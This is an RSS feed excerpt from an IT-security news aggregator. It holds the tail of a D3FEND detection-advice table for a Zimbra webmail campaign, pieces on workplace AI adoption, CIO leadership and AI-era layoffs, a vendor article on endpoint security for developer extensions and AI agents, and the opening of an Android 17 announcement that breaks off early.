<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI at Work: Employees Aren’t Waiting for Permission]]></title>
<description><![CDATA[New research is showing that staff are bringing their own AI to work at a growing pace, and security predictions from years ago are coming to fruition now. What’s the trend and what can you do?]]></description>
<link>https://tsecurity.de/de/3694403/it-security-nachrichten/ai-at-work-employees-arent-waiting-for-permission/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694403/it-security-nachrichten/ai-at-work-employees-arent-waiting-for-permission/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[New research is showing that staff are bringing their own AI to work at a growing pace, and security predictions from years ago are coming to fruition now. What’s the trend and what can you do?]]></content:encoded>
</item>
<item>
<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to navigate the AI talent wars]]></title>
<description><![CDATA[Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”



...]]></description>
<link>https://tsecurity.de/de/3694394/it-security-nachrichten/how-to-navigate-the-ai-talent-wars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694394/it-security-nachrichten/how-to-navigate-the-ai-talent-wars/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-net-q1-earnings-revenues-230528107.html">Cloudflare recently beat Q1 2026 earnings</a>. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/block-q1-earnings-beat-strong-144200216.html">Block did the same thing</a>. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.</p>



<p class="wp-block-paragraph">This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, <a href="mailto:https://www.cio.com/article/4077996/cios-be-ready-for-agentic-ai-or-be-out-of-a-job.html">you’re behind</a>.</p>



<h2 class="wp-block-heading">The benchmark has moved</h2>



<p class="wp-block-paragraph">AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, <a href="mailto:https://www.forbes.com/sites/paulbaier/2026/03/31/ai-native-firms-lead-in-revenue-per-employee/">the average revenue per employee is $3.48M</a>, nearly twelve times the traditional SaaS benchmark of $300K.</p>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/what-to-do-if-your-business-decelerates/">Boards aren’t comparing you to your 2019 self anymore</a>. They’re comparing you to Anthropic.</p>



<p class="wp-block-paragraph">This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.</p>



<p class="wp-block-paragraph">For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.</p>



<p class="wp-block-paragraph">Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.</p>



<h2 class="wp-block-heading">‘Acqui-hires’ are a shortcut with a hidden cost</h2>



<p class="wp-block-paragraph">Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: <a href="mailto:https://tomtunguz.com/ai-acqui-hire-wave/">these are acqui-hires</a> dressed up as M&amp;A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.</p>



<p class="wp-block-paragraph">I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.</p>



<p class="wp-block-paragraph">But there’s a cost that doesn’t show up in the acquisition price.</p>



<p class="wp-block-paragraph">AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.</p>



<p class="wp-block-paragraph">When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.</p>



<p class="wp-block-paragraph">The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.</p>



<h2 class="wp-block-heading">The CIO’s real problem</h2>



<p class="wp-block-paragraph">The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.</p>



<p class="wp-block-paragraph">That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.</p>



<p class="wp-block-paragraph">The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.</p>



<p class="wp-block-paragraph">The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.</p>



<p class="wp-block-paragraph">This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.</p>



<h2 class="wp-block-heading">Closing the gap without slowing down</h2>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/the-great-ai-talent-grab-the-latest-20vc-with-jason-harry-and-rory/">The AI talent wars</a> are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.</p>



<p class="wp-block-paragraph">Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.</p>



<p class="wp-block-paragraph">The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.</p>



<p class="wp-block-paragraph">Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

